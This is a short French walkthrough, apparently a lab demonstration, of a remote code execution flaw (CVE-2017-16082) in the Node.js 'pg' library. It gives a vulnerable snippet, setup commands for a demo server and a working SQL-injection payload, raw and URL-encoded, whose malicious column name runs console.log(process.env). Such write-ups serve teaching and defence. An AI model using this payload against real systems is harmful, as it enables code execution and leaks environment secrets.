
NodeJS + Postgres (Exécution de code à distance) 🛰
Les versions affectées de pg contiennent une vulnérabilité d'exécution de code à distance qui se produit lorsque la base de données distante ou la requête spécifie un nom de colonne malveillant.
Il existe deux scénarios spécifiques dans lesquels une application est susceptible d'être vulnérable :
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
git clone https://github.com/nulldreams/CVE-2017-16082.git
cd CVE-2017-16082
npm i && node server.js
Envoyez une requête à localhost:5000/api/v1/users?id=1
Résultat
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
}
]
Maintenant, envoyez une requête avec une charge utile comme celle-ci 1;SELECT 1 AS "\']=0;console.log(process.env)//" et encodez-la dans encodeur d'URL
URL finale : localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
},
{
"\\": 0
}
]
Vérifiez le terminal du serveur.